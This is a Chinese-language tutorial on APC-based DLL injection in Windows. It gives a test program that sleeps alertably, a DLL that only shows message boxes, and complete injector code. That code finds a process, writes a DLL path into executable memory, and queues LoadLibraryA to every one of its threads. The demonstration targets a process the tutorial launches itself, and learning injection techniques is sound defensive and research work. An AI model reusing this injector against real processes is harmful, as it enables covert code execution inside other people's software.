APC注入技术

APC是针对具体线程,由具体线程执行的,每个线程都有自己的APC队列。在系统调用、中断、或异常处理之后从内核返回用户空间途中或线程切换时会执行APC

只需要将加载Dll的代码放入线程APC队列中,就可以实现注入Dll

测试代码

#include <Windows.h>
#include <stdio.h>

int main() {
    printf("BeforeSleep\n");
    // 第二个参数为True才可以注入
    SleepEx(5000, TRUE);
    printf("AfterSleep: HelloWorld!\n");
}

注入的Dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Process Attach", "MsgboxDll", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
        MessageBoxA(NULL, "Thread Attach", "MsgboxDll", MB_OK);
        break;
    case DLL_THREAD_DETACH:
        MessageBoxA(NULL, "Thread Detach", "MsgboxDll", MB_OK);
        break;
    case DLL_PROCESS_DETACH:
        MessageBoxA(NULL, "Process Detach", "MsgboxDll", MB_OK);
        break;
    }
    return TRUE;
}

注入代码

#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <string.h>

DWORD find_process_id(LPCWSTR ProcessName) {
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;

    // Take a snapshot of all processes in the system.
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
    	printf("Error Create ProcessSnap: %d\n", GetLastError());
    	exit(0);
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcessSnap, &pe32))
    {
    	CloseHandle(hProcessSnap);          // clean the snapshot object
    	printf("Error Get first process: %d\n", GetLastError());
    	exit(0);
    }

    DWORD    bRet = -1;
    do
    {
    	if (!wcscmp(ProcessName, pe32.szExeFile))
    	{
    		bRet = pe32.th32ProcessID;
    		break;
    	}

    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);
    return bRet;
}
void inject_apc(DWORD tid,PVOID lpAddr) {
    printf("[Inject] Open Thread %d\n", tid);
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    if (NULL == hThread) {
    	printf("Error Open Thread: %d\n", GetLastError());
    	return;
    }
    // 给APC队列中插入回调函数
    printf("[Inject] Inject Apc %d\n",tid);
    QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpAddr);
    printf("[Inject] Inject over %d\n",tid);
}
DWORD get_and_inject(DWORD pid,PVOID lpAddr) {
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, pid);
    DWORD tid = -1;
    if (h != INVALID_HANDLE_VALUE) {
    	THREADENTRY32 te;
    	te.dwSize = sizeof(te);
    	if (Thread32First(h, &te)) {
    		do {
    			if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
    				sizeof(te.th32OwnerProcessID) && te.th32OwnerProcessID==pid) {
    				printf("Process 0x%04x Thread 0x%04x\n",
    					te.th32OwnerProcessID, te.th32ThreadID);
    				tid = te.th32ThreadID;
                    // 由于不知道哪个进程sleep,所以全部注入
    				inject_apc(tid, lpAddr);
    			}
    			te.dwSize = sizeof(te);
    		} while (Thread32Next(h, &te));
    	}
    	CloseHandle(h);
    }
    return tid;
}
void apc_inject(LPCWSTR pName, LPCSTR dllName) {
    // 1.查找进程PID
    DWORD dwPid = find_process_id(pName);

    // 2.打开进程
    HANDLE hProcess = NULL;
    printf("[Inject] Open Process\n");
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (NULL == hProcess)
    {
    	return;
    }
    // 3.成功了,申请远程内存
    printf("[Inject] Alloc Memory\n");
    void* lpAddr = NULL;
    lpAddr = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (NULL == lpAddr)
    {
    	return;
    }
    // 4.写入我们的DLL路径,这里我写入当前根目录下的路径
    printf("[Inject] Write Process\n");
    BOOL bRet = WriteProcessMemory(hProcess, lpAddr, dllName, strlen(dllName) + 1, NULL);
    if (!bRet) {
    	return;
    }
    get_and_inject(dwPid, lpAddr);
}
int main() {
    // 这里直接自动创建进程
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    WCHAR pName[100] = L"HelloSleep.exe";
    // Start the child process. 
    if (!CreateProcess(NULL,   // No module name (use command line)
    	pName,        // Command line
    	NULL,           // Process handle not inheritable
    	NULL,           // Thread handle not inheritable
    	FALSE,          // Set handle inheritance to FALSE
    	0,              // No creation flags
    	NULL,           // Use parent's environment block
    	NULL,           // Use parent's starting directory 
    	&si,            // Pointer to STARTUPINFO structure
    	&pi)           // Pointer to PROCESS_INFORMATION structure
    	)
    {
    	printf("CreateProcess failed (%d).\n", GetLastError());
    	return 0;
    }
    printf("Create Process Over\n");
    apc_inject(pName, "MsgboxDll.dll");
    return 0;
}

结果

参考

https://zhuanlan.zhihu.com/p/361357179

https://www.cnblogs.com/iBinary/p/7574055.html

https://stackoverflow.com/questions/1206878/enumerating-threads-in-windows